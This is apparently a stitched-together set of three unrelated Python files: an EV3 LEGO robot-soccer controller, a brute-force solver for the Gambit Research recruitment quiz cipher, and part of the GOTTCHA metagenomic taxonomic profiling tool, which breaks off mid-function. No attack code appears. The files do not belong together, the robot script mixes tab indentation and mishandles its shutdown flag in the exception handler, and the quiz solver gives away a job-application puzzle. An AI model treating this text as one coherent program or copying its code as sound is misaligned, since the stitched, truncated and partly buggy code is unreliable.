#!/usr/bin/env python3
import threading
import time

# Convert to Executable:
# "sed -i 's/\r//g' <file>"

# Import EV3DEV
from ev3dev2.button import *
from ev3dev2.console import *
from ev3dev2.display import *
from ev3dev2.fonts import *
from ev3dev2.led import *
from ev3dev2.motor import *
from ev3dev2.port import *
from ev3dev2.power import *
from ev3dev2.sensor import *
from ev3dev2.sensor.lego import *
from ev3dev2.sound import *
print("ev3dev imported")

# Import Utils
from ..utils import *
print("utils imported")

# Initialize Bluetooth Connection
# https://www.inf.ed.ac.uk/teaching/courses/sdp/SDP2018/sdp_ev3.pdf

# Global Variables
global var1
global var2
global var3
global var4
global oldDistance
global newDistance
global currentAngle
global frontVal
global backVal
global centerStrength
global frontProximity
global backProximity
global ended

# Customization
robotSize = 180    # Diameter (mm)
compensation = 2   # Forward Angle Leeway (degrees)
centerValue = 80   # Distance from Center where still considered Center (mm)
tickrate = 30      # Tickrate (ONLY FOR EV3 SIM)
fieldSize = 600    # Field Width in MM (1800 MM Standard)

# Variables
centerAngle = 0    # Goal Angles
currentAngle = 0   # Current Angle
oldDistance = [0]  # Previous Wall Distances (5)
newDistance = 0    # Current Wall Distance

# Field Size
centerDistance = (fieldSize-robotSize)/2;

# Movement Variables
var1 = 0   # Direction
var2 = 40  # Speed (%)
var3 = 0   # Left Curve
var4 = 0   # Right Curve

run = False
ended = False

# Initialize Motors
topLeft = LargeMotor(OUTPUT_C)
topRight = LargeMotor(OUTPUT_A)
bottomLeft = LargeMotor(OUTPUT_D)
bottomRight = LargeMotor(OUTPUT_B)

# Initialize Sensors
irFront = Sensor(INPUT_1, driver_name = "ht-nxt-ir-seek-v2")
irBack = Sensor(INPUT_2, driver_name = "ht-nxt-ir-seek-v2")
compass = Sensor(INPUT_3, driver_name = "ht-nxt-compass")
ultrasonic = UltrasonicSensor(INPUT_4)

# Initialize Brick Functions
#sound = Sound()
buttons = Button()
screen = Display()
leds = Leds()

# Set Sensor Modes
irFront.mode = "AC-ALL"
irBack.mode = "AC-ALL"
compass.mode = "COMPASS"
ultrasonic.mode = "US-DIST-CM"

# Get Screen Size
width = screen.xres
height = screen.yres

# Change Lighting/Sound
def brickMode(mode):
    if mode == 'Running':
        leds.set_color('LEFT', 'GREEN')
        leds.set_color('RIGHT', 'GREEN')
        #sound(700,0.5,play_type=sound.PLAY_NO_WAIT_FOR_COMPLETE)
    elif mode == 'Paused':
        leds.set_color('LEFT', 'AMBER')
        leds.set_color('RIGHT', 'AMBER')
        #sound(500,0.5,play_type=sound.PLAY_NO_WAIT_FOR_COMPLETE)
    elif mode == 'Reset':
        leds.set_color('LEFT', 'GREEN')
        leds.set_color('RIGHT', 'GREEN')

# Create 8-Direction Movement + Turning
def direct(direction,speed,leftDrift,rightDrift):
    if (direction == 0):
        # Stop Motors
        topRight.stop()
        bottomRight.stop()
        topLeft.stop()
        bottomLeft.stop()
    if (direction == 1):
        # Top Left
        topRight.on(SpeedPercent((speed*-1)+leftDrift))
        bottomRight.on(SpeedPercent(0+leftDrift))
        topLeft.on(SpeedPercent(0+rightDrift))
        bottomLeft.on(SpeedPercent((speed*1)+rightDrift))
    if (direction == 2):
        # Forward
        topRight.on(SpeedPercent((speed*-1)+leftDrift))
        bottomRight.on(SpeedPercent((speed*-1)+leftDrift))
        topLeft.on(SpeedPercent((speed*1)+rightDrift))
        bottomLeft.on(SpeedPercent((speed*1)+rightDrift))
    if (direction == 3):
        # Top Right
	    topRight.on(SpeedPercent(0+leftDrift))
	    bottomRight.on(SpeedPercent((speed*-1)+leftDrift))
	    topLeft.on(SpeedPercent((speed*1)+rightDrift))
	    bottomLeft.on(SpeedPercent(0+rightDrift))
    if (direction == 4):
        # Right
	    topRight.on(SpeedPercent((speed*1)+leftDrift))
	    bottomRight.on(SpeedPercent((speed*-1)+leftDrift))
	    topLeft.on(SpeedPercent((speed*1)+rightDrift))
	    bottomLeft.on(SpeedPercent((speed*-1)+rightDrift))
    if (direction == 5):
        # Bottom Right
	    topRight.on(SpeedPercent((speed*1)+leftDrift))
	    bottomRight.on(SpeedPercent(0+leftDrift))
	    topLeft.on(SpeedPercent(0+rightDrift))
	    bottomLeft.on(SpeedPercent((speed*-1)+rightDrift))
    if (direction == 6):
        # Backwards
	    topRight.on(SpeedPercent((speed*1)+leftDrift))
	    bottomRight.on(SpeedPercent((speed*1)+leftDrift))
	    topLeft.on(SpeedPercent((speed*-1)+rightDrift))
	    bottomLeft.on(SpeedPercent((speed*-1)+rightDrift))
    if (direction == 7):
        # Bottom Left
	    topRight.on(SpeedPercent(0+leftDrift))
	    bottomRight.on(SpeedPercent((speed*1)+leftDrift))
	    topLeft.on(SpeedPercent((speed*-1)+rightDrift))
	    bottomLeft.on(SpeedPercent(0+rightDrift))
    if (direction == 8):
        # Left
	    topRight.on(SpeedPercent((speed*-1)+leftDrift))
	    bottomRight.on(SpeedPercent((speed*1)+leftDrift))
	    topLeft.on(SpeedPercent((speed*-1)+rightDrift))
	    bottomLeft.on(SpeedPercent((speed*1)+rightDrift))
    if (direction == 9):
        # Spin Right
	    topRight.on(SpeedPercent((speed*1)+leftDrift))
	    bottomRight.on(SpeedPercent((speed*1)+leftDrift))
	    topLeft.on(SpeedPercent((speed*1)+rightDrift))
	    bottomLeft.on(SpeedPercent((speed*1)+rightDrift))
    if (direction == 10):
        # Spin Left
        topRight.on(SpeedPercent((speed*-1)+leftDrift))
        bottomRight.on(SpeedPercent((speed*-1)+leftDrift))
        topLeft.on(SpeedPercent((speed*-1)+rightDrift))
        bottomLeft.on(SpeedPercent((speed*-1)+rightDrift))
    if (direction == 11):
        # Coast Motors
        topRight.off(brake=False)
        bottomRight.off(brake=False)
        topLeft.off(brake=False)
        bottomLeft.off(brake=False)

# Straighten Robot Angle
def turnStraight():
    global var1
    global var2
    global var3
    global var4

    global currentAngle

    if compensation < currentAngle < 181:
        # Calculate Acceleration
        accel = 7 + (round((currentAngle+compensation)/15))

        # Turn Right
        var3 = accel
        var4 = accel
    elif (360 - compensation) > currentAngle > 180:
        # Calculate Acceleration
        accel = 20 - (round((currentAngle+compensation)/30))

        # Turn Left
        var3 = accel * -1
        var4 = accel * -1
    else:
        # Aiming Straight
        var3 = 0
        var4 = 0

# Curve Towards Goal
def curve():
    global var1
    global var2
    global var3
    global var4

    global newDistance

    if robotNotBlocking(oldDistance[0], newDistance):
        if newDistance > (centerDistance + centerValue):
            var2 = 90
            var3 = -4
            var4 = -2
        elif newDistance < (centerDistance - centerValue):
            var2 = 90
            var3 = 2
            var4 = 4
        else:
            var3 = 0
            var4 = 0
            turnStraight()
    else:
        var3 = 0
        var4 = 0

# Robot Moves to Center of Field
def centerRobot():
    global var1
    global var2
    global var3
    global var4

    global newDistance

    turnStraight()

    if robotNotBlocking(oldDistance[0],newDistance):
        if newDistance > (centerDistance + 12):
            var1 = 4
        elif newDistance < (centerDistance - 12):
            var1 = 8
        else:
            if not topLeft.is_stalled:
                var1 = 6
                var2 = 10
            else:
                var1 = 0
                var2 = 0
    else:
        if not topLeft.is_stalled:
            var1 = 6
            var2 = 10
        else:
            var1 = 0
            var2 = 0

# Find Ball Position
def goToBall():
    global var1
    global var2
    global var3
    global var4

    global frontVal
    global backVal

    global frontProximity
    global backProximity

    if (frontProximity > backProximity) and (frontVal != 0):
        if 4 < frontVal < 6:    # Directly In-Front
            var1 = 2
        if 3 < frontVal < 5:    # Top Left
            if (frontProximity > 100): # Ball is Close
               var1 = 1
            else:
               var1 = 8
        if 5 < frontVal < 7:    # Top Right
            if (frontProximity > 100): # Ball is Close
               var1 = 3
            else:
               var1 = 4
        elif 2 < frontVal < 4:  # Left Side
            if (frontProximity > 130):
                var1 = 7
            else:
                var1 = 8
        elif 0 < frontVal < 3:  # Back Left
            var1 = 6
        elif 6 < frontVal < 8:  # Right Side
            if (frontProximity > 130):
                var1 = 5
            else:
                var1 = 4
        elif 7 < frontVal < 10: # Back Right
            var1 = 6
    elif (backVal != 0):
        if 3 < backVal < 7:     # Directly Behind
            if backProximity > 110: # Ball is Close
                if newDistance > (centerDistance + centerValue):
                    var1 = 4
                else:
                    var1 = 8
            else:
                var1 = 6
        elif 0 < backVal < 4:   # Back Right
            if backProximity > 110: # Ball is Close
                var1 = 7
            else:
                var1 = 6
        elif 6 < backVal < 10:   # Back Left
            if backProximity > 110: # Ball is Close
                var1 = 5
            else:
                var1 = 6
    else:                       # Can't Find Ball
        var1=0
        #centerRobot()

# Thread for Sensor Values
def updateSensors():
    global oldDistance
    global newDistance
    global currentAngle
    global frontVal
    global backVal
    global centerStrength
    global frontProximity
    global backProximity
    global ended

    print("Updating Sensors!")

    while not ended:
        # Update Variables
        oldDistance.append(newDistance)
        if len(oldDistance) > 10:
            oldDistance.pop(0)
        newDistance = ultrasonic.value(0)
        currentAngle = getAngle(compass.value(0), centerAngle)
        frontVal = irFront.value(0)
        frontProximity = max([irFront.value(1),irFront.value(2),irFront.value(3),irFront.value(4),irFront.value(5)])
        backProximity = max([irBack.value(1),irBack.value(2),irBack.value(3),irBack.value(4),irBack.value(5)])
        backVal = irBack.value(0)
        centerStrength = irFront.value(3)

# Thread for Display
def updateScreen():
    global var1
    global var2
    global oldDistance
    global newDistance
    global currentAngle
    global frontVal
    global backVal
    global centerStrength
    global ended

    print("Updating Screen!")

    # Font Variables
    fontsize = 12

    # Screen Cennter Position
    centerX = int(width)/2
    centerY = int(height)/2

    while not ended:
        # Update UI
        screen.clear()
        screen.text_pixels("Direction: " + str(var1),False,0,0,'Blue',load('helvB12'))
        screen.text_pixels("Motor Speed: " + str(var2),False,0,fontsize,'Blue',load('helvB12'))
        screen.text_pixels("IR Values: " + str(frontVal) + "," + str(backVal),False,0,fontsize*2,'Blue',load('helvB12'))
        screen.text_pixels("IR Proximity: " + str(centerStrength),False,0,fontsize*3,'Blue',load('helvB12'))
        screen.text_pixels("CurrentAngle: " + str(currentAngle),False,0,fontsize*4,'Blue',load('helvB12'))
        screen.text_pixels("CenterAngle: " + str(centerAngle),False,0,fontsize*5,'Blue',load('helvB12'))
        screen.text_pixels("WallDistance: " + str(newDistance),False,0,fontsize*6,'Blue',load('helvB12'))
        screen.text_pixels("OldDistances:",False,0,fontsize*7,'Blue',load('helvB12'))
        screen.text_pixels(str(oldDistance),False,0,fontsize*8,'Blue',load('helvB12'))

        if run == False:
            # If Paused
            screen.text_pixels("Paused",False,0,fontsize*9,'Blue',load('helvBO24'))

        # Update Screen every 100 ms
        screen.update()
        time.sleep(0.1)

# Reset Values
centerAngle = compass.value(0)
topLeft.reset()
topRight.reset()
bottomLeft.reset()
bottomRight.reset()
leds.reset()

# Run Program
run = False
ended = False
leds.set_color('LEFT', 'RED')
leds.set_color('RIGHT', 'RED')

# Start Sensor Thread
updateValues=threading.Thread(target=updateSensors)
updateValues.start()

# Start Screen Thread
updateDisplay=threading.Thread(target=updateScreen)
updateDisplay.start()

print("Ready!")

try:
    # Main Loop
    while True:
        # Close Program
        if buttons.backspace:
            # Coast Motors and Stop Thread
            print("Exiting...")
            direct(11,0,0,0)
            ended = True
            brickMode('Reset')
            time.sleep(0.1)
            break

        # Pause Button Pressed
        if buttons.left:
            if run == True:
                run = False
                brickMode('Paused')
                print("Paused")
            else:
                run = True
                brickMode('Running')
                print("Started")
            direct(11,0,0,0)
            while buttons.left:
                time.sleep(0.01)

        # If Program is Not Paused
        if run == True:
            # Run Functions
            if ballPossesion(centerStrength):
                var2 = 80
                #curve()
                var3 = 0
                var4 = 0
                turnStraight()
            else:
                # Neutral Speed
                var2 = 50
                turnStraight()

            # Chase Ball
            goToBall()

            direct(var1,var2,var3,var4)
        # If Paused
        else:
            # Coast Motors
            direct(11,0,0,0)
except:
    ended=False
    direct(11,0,0,0)
    time.sleep(0.1)


from string import digits, ascii_letters, punctuation

valid_characters = digits + ascii_letters + punctuation + " "
cipher = [171, 78, 209, 207, 88, 145, 131, 44, 212, 209, 80, 215, 196, 93, 218, 207, 74, 217, 204, 88, 211, 214, 9, 203, 210, 91, 133, 214, 88, 209, 217, 82, 211, 202, 9, 217, 203, 78, 133, 170, 74, 210, 197, 82, 217, 131, 76, 205, 196, 85, 209, 200, 87, 204, 200, 23, 133, 179, 85, 202, 196, 92, 202, 131, 92, 202, 209, 77, 133, 220, 88, 218, 213, 9, 216, 210, 85, 218, 215, 82, 212, 209, 9, 198, 209, 77, 133, 166, 63, 133, 215, 88, 133, 204, 76, 198, 209, 76, 212, 199, 78, 165, 202, 74, 210, 197, 82, 217, 213, 78, 216, 200, 74, 215, 198, 81, 147, 198, 88, 210, 131, 90, 218, 210, 93, 206, 209, 80, 133, 213, 78, 203, 200, 91, 202, 209, 76, 202, 157, 9, 199, 154, 32, 155, 200, 33, 155, 199, 33, 154]
cipher_size = len(cipher)
word_to_match = "Gambit"

#
# Solution to Gambit Quiz, in order to apply for a job with Gambit Research.
#
# https://gambitresearch.com/quiz/
#
# In the source code found at the above URL, nested within 'div.entry-content',
# the following JavaScript function can be found:
#
# <script type="text/javascript">
#    // You're on the right path!
#    function scramble(message, a, b, c) {
#      return message.split('').map((chr, i) => {
#        const code = chr.charCodeAt(0)
#        switch(i % 3) {
#          case 0: return (code + a) % 256
#          case 1: return (code + b) % 256
#          case 2: return (code + c) % 256
#        }
#      }).join(' ')
#    }
# </script>
#
# The cipher text displayed at the above URL is encrypted used a Vigenère (symmetric) cipher, where the key is of
# length 3 (made up of the variables: a, b and c), and each variable represents an ASCII value.
#
# The main function is a brute-force approach to working out the ASCII values used in place
# of variables: a, b and c. Where each variable can be in the range of [0,255].
#
def main():
    # Try all possible combinations of ASCII values for the 3 letter key (abc).
    for a in range(0, 256):
        for b in range(0, 256):
            for c in range(0, 256):
                print("a = {0}, b = {1}, c = {2}".format(a, b, c))
                message = {}
                invalid_char = False
                for i in range(0, cipher_size):
                    message[i] = cipher[i]
                    switch_statement = {
                        0: a,
                        1: b,
                        2: c
                    }
                    val = switch_statement[i % 3]
                    message[i] = chr((message[i] - val) % 256)
                    # Check for valid_characters
                    if message[i] not in valid_characters:
                        invalid_char = True
                        break
                if not invalid_char:
                    # Array of chars to string.
                    message_str = ""
                    for x in range(0, len(message)):
                        message_str += str(message[x])
                    # The correct values for a, b and c will contain the word_to_match in the decrypted plain text.
                    if word_to_match in message_str:
                        print("\nDecrypted Message: " + message_str)
                        print("Key: a = {0}, b = {1}, c = {2}".format(a, b, c))
                        return
    print("\nCould not find a decryption containing: " + word_to_match)

if __name__ == '__main__':
    main()


#!/usr/bin/env python3

__author__    = "Po-E (Paul) Li, Bioscience Division, Los Alamos National Laboratory"
__credits__   = ["Po-E Li", "Jason Gans", "Tracey Freites", "Patrick Chain"]
__version__   = "2.1 BETA"
__date__      = "2016/05/31"
__copyright__ = """
Copyright (2014). Los Alamos National Security, LLC. This material was produced
under U.S. Government contract DE-AC52-06NA25396 for Los Alamos National Laboratory
(LANL), which is operated by Los Alamos National Security, LLC for the U.S.
Department of Energy. The U.S. Government has rights to use, reproduce, and
distribute this software.  NEITHER THE GOVERNMENT NOR LOS ALAMOS NATIONAL SECURITY,
LLC MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR ASSUMES ANY LIABILITY FOR THE
USE OF THIS SOFTWARE.  If software is modified to produce derivative works, such
modified software should be clearly marked, so as not to confuse it with the
version available from LANL.

Additionally, this program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by the Free
Software Foundation; either version 3 of the License, or (at your option) any
later version. Accordingly, this program is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
License for more details.
"""

import argparse as ap, textwrap as tw
import sys, os, time, subprocess
import gottcha_taxonomy as gt
from re import search,findall
from multiprocessing import Pool
from itertools import chain

def parse_params( ver ):
	p = ap.ArgumentParser( prog='gottcha.py', description="""Genomic Origin Through Taxonomic CHAllenge (GOTTCHA) is an
			annotation-independent and signature-based metagenomic taxonomic profiling tool
			that has significantly smaller FDR than other profiling tools. This program
			is a wrapper to map input reads to pre-computed signature databases using BWA-MEM
			and/or to profile mapped reads in SAM format. (VERSION: %s)""" % ver)

	eg = p.add_mutually_exclusive_group( required=True )

	eg.add_argument( '-i','--input', metavar='[FASTQ]', nargs='+', type=str,
	  				help="Input one or multiple FASTQ file(s). Use space to separate multiple input files.")

	eg.add_argument( '-s','--sam', metavar='[SAMFILE]', nargs=1, type=ap.FileType('r'),
					help="Specify the input SAM file. Use '-' for standard input.")

	p.add_argument( '-d','--database', metavar='[BWA_INDEX]', type=str, default=None,
	                help="The path of signature database. The database can be in FASTA format or BWA index (5 files).")

	p.add_argument( '-l','--dbLevel', metavar='[LEVEL]', type=str, default='',
	                choices=['superkingdom', 'phylum', 'class', 'order', 'family', 'genus', 'species', 'strain'],
	                help="""Specify the taxonomic level of the input database. You can choose one rank from "superkingdom", "phylum", "class", "order", "family", "genus", "species" and "strain". The value will be auto-detected if the input database ended with levels (e.g. GOTTCHA_db.species).""")

	p.add_argument( '-ti','--taxInfo', metavar='[FILE]', type=str, default='',
	                help="""Specify the path of taxonomy information file (taxonomy.tsv). GOTTCHA2 will try to locate this file when user doesn't specify a path. If '--database' option is used, the program will try to find this file in the directory of specified database. If not, the 'database' directory under the location of gottcha.py will be used as default.""")

	p.add_argument( '-pm','--mismatch', metavar='<INT>', type=int, default=5,
					help="Mismatch penalty for BWA-MEM (pass to option -B while BWA-MEM is running). You can use 99 for not allowing mismatch in alignments (except for extreme cases). [default: 5]")

	p.add_argument( '-m','--mode', type=str, default='summary',
	                choices=['summary', 'full', 'tree', 'class', 'extract', 'lineage'],
					help="""You can specify one of the following output modes:
                            "summary" : report a summary of profiling result;
                            "full"    : other than a summary result, this mode will report unfiltered profiling results with more detail;
                            "tree"    : report results with lineage of taxonomy;
                            "class"   : output results of classified reads;
                            "extract" : extract mapped reads;
                            "lineage" : output abundance and lineage in a line;
						  Note that only results/reads belongs to descendants of TAXID will be reported/extracted if option [--taxonomy TAXID] is specified. [default: summary]""" )

	p.add_argument( '-x','--taxonomy', metavar='[TAXID]', type=str,
	        		help="Specify a NCBI taxonomy ID. The program  will only report/extract the taxonomy you specified.")

	p.add_argument( '-r','--relAbu', metavar='[FIELD]', type=str, default='LINEAR_DOC',
					choices=['LINEAR_LENGTH','TOTAL_BP_MAPPED','READ_COUNT','LINEAR_DOC'],
					help='The field will be used to calculate relative abundance. You can specify one of the following fields: "LINEAR_LENGTH", "TOTAL_BP_MAPPED", "READ_COUNT" and "LINEAR_DOC". [default: LINEAR_DOC]')

	p.add_argument( '-t','--threads', metavar='<INT>', type=int, default=1,
					help="Number of threads [default: 1]")

	p.add_argument( '-o','--outdir', metavar='[DIR]', type=str, default='.',
					help="Output directory [default: .]")

	p.add_argument( '-p','--prefix', metavar='<STR>', type=str, required=False,
					help="Prefix of the output file [default: <INPUT_FILE_PREFIX>]")

	p.add_argument( '-mc','--minCov', metavar='<FLOAT>', type=float, default=0.005,
					help="Minimum linear coverage to be considered valid in abundance calculation [default: 0.005]")

	p.add_argument( '-mr','--minReads', metavar='<INT>', type=int, default=3,
					help="Minimum number of reads to be considered valid in abundance calculation [default: 3]")

	p.add_argument( '-ml','--minLen', metavar='<INT>', type=int, default=60,
					help="Minimum unique length to be considered valid in abundance calculation [default: 60]")

	p.add_argument( '-nc','--noCutoff', action="store_true",
					help="Remove all cutoffs. This option is equivalent to use [-mc 0 -mr 0 -ml 0].")

	p.add_argument( '-c','--stdout', action="store_true",
					help="Write on standard output.")

	p.add_argument( '--silent', action="store_true",
	                help="Disable all messages.")

	args_parsed = p.parse_args()

	"""
	Checking options
	"""
	if args_parsed.input and not args_parsed.database:
		p.error( '--database option is missing.' )

	if args_parsed.input and args_parsed.sam:
		p.error( '--input and --same are incompatible options.' )

	if args_parsed.database:
		#assign default path for database name
		if "/" not in args_parsed.database and not os.path.isfile( args_parsed.database + ".amb" ):
			bin_dir = os.path.dirname(os.path.realpath(__file__))
			args_parsed.database = bin_dir + "/database/" + args_parsed.database

	if args_parsed.database:
		if not os.path.isfile( args_parsed.database + ".amb" ):
			p.error( 'Incorrect BWA index: missing %s.amb.' % args_parsed.database )
		if not os.path.isfile( args_parsed.database + ".ann" ):
			p.error( 'Incorrect BWA index: missing %s.ann.' % args_parsed.database )
		if not os.path.isfile( args_parsed.database + ".pac" ):
			p.error( 'Incorrect BWA index: missing %s.pac.' % args_parsed.database )
		if not os.path.isfile( args_parsed.database + ".bwt" ):
			p.error( 'Incorrect BWA index: missing %s.bwt.' % args_parsed.database )
		if not os.path.isfile( args_parsed.database + ".sa" ):
			p.error( 'Incorrect BWA index: missing %s.sa.' % args_parsed.database )

	if not args_parsed.taxInfo:
		if args_parsed.database:
			db_dir = search( '^(.*?)[^\/]+$', args_parsed.database )
			args_parsed.taxInfo = db_dir.group(1) + "taxonomy.tsv"
		else:
			bin_dir = os.path.dirname(os.path.realpath(__file__))
			args_parsed.taxInfo = bin_dir + "/database/taxonomy.tsv"

	if not os.path.isfile( args_parsed.taxInfo ):
		p.error( 'Taxonomy information (taxonomy.tsv) not found.' )

	if not args_parsed.prefix:
		if args_parsed.input:
			name = search('([^\/\.]+)\..*$', args_parsed.input[0] )
			args_parsed.prefix = name.group(1)
		elif args_parsed.sam:
			name = search('([^\/]+).\w+.\w+$', args_parsed.sam[0].name )
			args_parsed.prefix = name.group(1)
		else:
			args_parsed.prefix = "GOTTCHA_"

	if not args_parsed.dbLevel:
		if args_parsed.database:
			name = search('\.(\w+).\w+$', args_parsed.database )
			args_parsed.dbLevel = name.group(1)
		elif args_parsed.sam:
			name = search('\.gottcha_(\w+).sam$', args_parsed.sam[0].name )
			args_parsed.dbLevel = name.group(1)
		else:
			p.error( '--dbLevel is missing and cannot be auto-detected.' )

	if args_parsed.noCutoff:
		#p.error( 'conflict options: cutoff(s) are specified with --noCutoff option.' )
		args_parsed.minCov = 0
		args_parsed.minReads = 0
		args_parsed.minLen = 0

	return args_parsed

def dependency_check(cmd):
	proc = subprocess.Popen("which " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	outs, errs = proc.communicate()
	return outs.decode().rstrip() if proc.returncode == 0 else False

def join_ranges(data, offset=0):
	"""
	Merge location regions
	"""
	flatten = chain.from_iterable
	LEFT, RIGHT = 1, -1
	data = sorted(flatten(((start, LEFT), (stop + offset, RIGHT)) for start, stop in data))
	c = 0
	for value, label in data:
		if c == 0:
			x = value
		c += label
		if c == 0:
			yield [x, value - offset]

def worker(lines):
	"""Make a dict out of the parsed, supplied lines"""
	res = gt._autoVivification()

	for line in lines:
		k, r, n, rd, rs, rq, flag, cigr = parse(line)
		if k in res:
			res[k]["ML"] = list( join_ranges( res[k]["ML"] + [r] ) )
			res[k]["MB"] += r[1] - r[0] + 1
			res[k]["MR"] += 1
			res[k]["NM"] += n
		else:
			res[k]["ML"] = [r]
			res[k]["MB"] = r[1] - r[0] + 1
			res[k]["MR"] = 1
			res[k]["NM"] = n

	return res

def parse(line):
	"""
	Parse SAM format
	read1   0   test    11  0   5S10M3S *   0   0   GGGGGCCCCCCCCCCGGG  HHHHHHHHHHHHHHHHHH  NM:i:0  MD:Z:10 AS:i:10 XS:i:0
	read2   16  test    11  0   3S10M5S *   0   0   GGGCCCCCCCCCCGGGGG  HHHHHHHHHHHHHHHHHH  NM:i:0  MD:Z:10 AS:i:10 XS:i:0
	"""
	temp = line.split('\t')
	name = temp[0]
	match_len    = search('(\d+)M', temp[5])
	mismatch_len = search('NM:i:(\d+)', temp[11])
	start = int(temp[3])
	end   = start + int(match_len.group(1)) - 1;

	ref = temp[2].rstrip('|')
	ref = ref[: ref.find(".0") if ref.find(".0")>0 else None ]

	return ref, [start, end], int(mismatch_len.group(1)), name, temp[9], temp[10], temp[1], temp[5]

def timeSpend( start ):
	done = time.time()
	elapsed = done - start
	return time.strftime( "%H:%M:%S", time.gmtime(elapsed) )

def processSAMfile( sam_fp, numthreads, numlines ):
	result = gt._autoVivification()
	mapped_reads = 0

	lines = sam_fp.readlines();
	if len(lines) > numlines and numthreads > 2:
		pool = Pool(processes=numthreads)
		result_list = pool.map(worker,
		    (lines[line:line+numlines] for line in range(0,len(lines),numlines) ) )

		for res in result_list:
			for k in res:
				if k in result:
					result[k]["ML"] = list( join_ranges( result[k]["ML"] + res[k]["ML"] ) )
					result[k]["MB"] += res[k]["MB"]
					result[k]["MR"] += res[k]["MR"]
					result[k]["NM"] += res[k]["NM"]
				else:
					result[k].update(res[k])

	else:
		result = worker(lines)

	# convert mapped regions to linear length
	for k in result:
		result[k]["LL"] = 0
		mapped_reads += result[k]["MR"]
		for cr in result[k]["ML"]:
			result[k]["LL"] += cr[1]-cr[0]

	return result, mapped_reads

def isDescendant( taxid, taxid_ant ):
	fullLineage = gt.taxid2fullLineage( taxid )
	if "|%s|" % taxid_ant in fullLineage:
		return True
	else:
		return False

def processSAMfileReadClass( f, o, tg_rank, taxid_fi ):
	for line in f:
		ref, region, nm, rname, rseq, rq, flag, cigr = parse(line)
		acc, start, stop, tid = ref.split('|')

		if taxid_fi:
			if not isDescendant( tid, taxid_fi ):
				continue

		o.write( "%s\t%s\t%s\t%s\t%s\n" % (
		    rname,
		    gt.taxid2taxidOnRank(tid, tg_rank),
			"%s:%s..%s" % (ref, region[0], region[1]),
			cigr,
		    gt.taxid2nameOnRank( tid, tg_rank )
		))

def processSAMfileReadExtract( f, o, taxid ):
	for line in f:
		ref, region, nm, rname, rseq, rq, flag, cigr = parse(line)
		acc, start, stop, t = ref.split('|')
		fullLineage = gt.taxid2fullLineage(t)

		if int(flag) & 16:
			g = findall("\d+\w", cigr)
			cigr = "".join(list(reversed(g)))
			rseq = seqReverseComplement(rseq)
			rq = rq[::-1]

		if isDescendant( t, taxid ):
			o.write( "@%s %s:%s..%s %s\n%s\n+\n%s\n" % (rname, ref, region[0], region[1], cigr, rseq, rq) )

def seqReverseComplement( seq ):
	for base in seq:
		if base not in 'ACGTURYSWKMBDHVNacgturyswkmbdhvn':
			print("[ERROR] NOT a DNA sequence")
			return None
	seq1 = 'ACGTURYSWKMBDHVNTGCAAYRSWMKVHDBNacgturyswkmbdhvntgcaayrswmkvhdbn'
	seq_dict = { seq1[i]:seq1[i+16] for i in range(64) if i < 16 or 32<=i<48 }
	return "".join([seq_dict[base] for base in reversed(seq)])

def taxonomyRollUp( r ):
	"""
	Take parsed SAM output and rollup to superkingdoms
	"""
	res_rollup = gt._autoVivification()
	res_tree = gt._autoVivification()

	for ref in r:
		(acc, start, stop, t) = ref.split('|')

		tree = gt.taxid2fullLinkDict( t )

		for pid, tid in tree.items():
			res_tree[pid][tid] = 1
			if tid in res_rollup:
				res_rollup[tid]["ML"] += ";%s:%s" %  ( ref, ",".join("..".join(map(str,l)) for l in r[ref]["ML"]) )
				res_rollup[tid]["MB"] += r[ref]["MB"]
				res_rollup[tid]["MR"] += r[ref]["MR"]
				res_rollup[tid]["NM"] += r[ref]["NM"]
				res_rollup[tid]["LL"] += r[ref]["LL"]
				res_rollup[tid]["SL"] += int(stop) - int(start) + 1
			else:
				res_rollup[tid]["ML"] = "%s:%s" %  ( ref, ",".join("..".join(map(str,l)) for l in r[ref]["ML"]) )
				res_rollup[tid]["MB"] = r[ref]["MB"]
				res_rollup[tid]["MR"] = r[ref]["MR"]
				res_rollup[tid]["NM"] = r[ref]["NM"]
				res_rollup[tid]["LL"] = r[ref]["LL"]
				res_rollup[tid]["SL"] = int(stop) - int(start) + 1

	return res_rollup, res_tree

def outputResultsAsTree( tid, res_tree, res_rollup, indent, dbLevel, lvlFlag, taxid_fi, o, mc, mr, ml ):
	"""
	iterate taxonomy tree and print results recursively
	"""
	if int(tid) == 1:
		o.write( "%s%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n" % ( "", "NAME", "LEVEL", "READ_COUNT", "TOTAL_BP_MAPPED", "TOTAL_BP_MISMATCH", "LINEAR_LENGTH", "LINEAR_COV", "LINEAR_DOC" ) )
	else:
		if gt.taxid2rank(tid) == dbLevel: lvlFlag = 1
		if mc <= int(res_rollup[tid]["MB"])/int(res_rollup[tid]["LL"]) and mr <= int(res_rollup[tid]["MR"]) and ml <= res_rollup[tid]["LL"]:
			o.write( "%s%s\t%s\t%s\t%s\t%s\t%s\t%.4f\t%.4f\n" % (
				indent,
				gt.taxid2name(tid),
				gt.taxid2rank(tid),
				res_rollup[tid]["MR"],
				res_rollup[tid]["MB"],
				res_rollup[tid]["NM"],
				res_rollup[tid]["LL"],
				int(res_rollup[tid]["LL"])/int(res_rollup[tid]["SL"]),
				int(res_rollup[tid]["MB"])/int(res_rollup[tid]["LL"])
				)
			)

	if len( res_tree[tid] ):
		indent += "    "
		for cid in res_tree[tid]:
			if taxid_fi:
				if not isDescendant( tid, taxid_fi ):
					continue

			if lvlFlag and gt.taxid2rank(cid) != dbLevel:
				continue

			if res_rollup[tid] and ( mc > int(res_rollup[tid]["LL"])/int(res_rollup[tid]["SL"]) or mr > int(res_rollup[tid]["MR"]) or ml > int(res_rollup[tid]["LL"]) ):
				continue

			outputResultsAsTree( cid, res_tree, res_rollup, indent, dbLevel, lvlFlag, taxid_fi, o, mc, mr, ml )

def outputResultsAsRanks( res_rollup, o, tg_rank, relAbu, mode, mc, mr, ml ):
	output = gt._autoVivification()
	major_ranks = {"superkingdom":1,"phylum":2,"class":3,"order":4,"family":5,"genus":6,"species":7,"strain":8}

	for tid in res_rollup:
		rank = gt.taxid2rank(tid)

		if mode == "summary" and ( mc > res_rollup[tid]["LL"]/res_rollup[tid]["SL"] or mr > int(res_rollup[tid]["MR"]) or ml > int(res_rollup[tid]["LL"]) ):
			continue

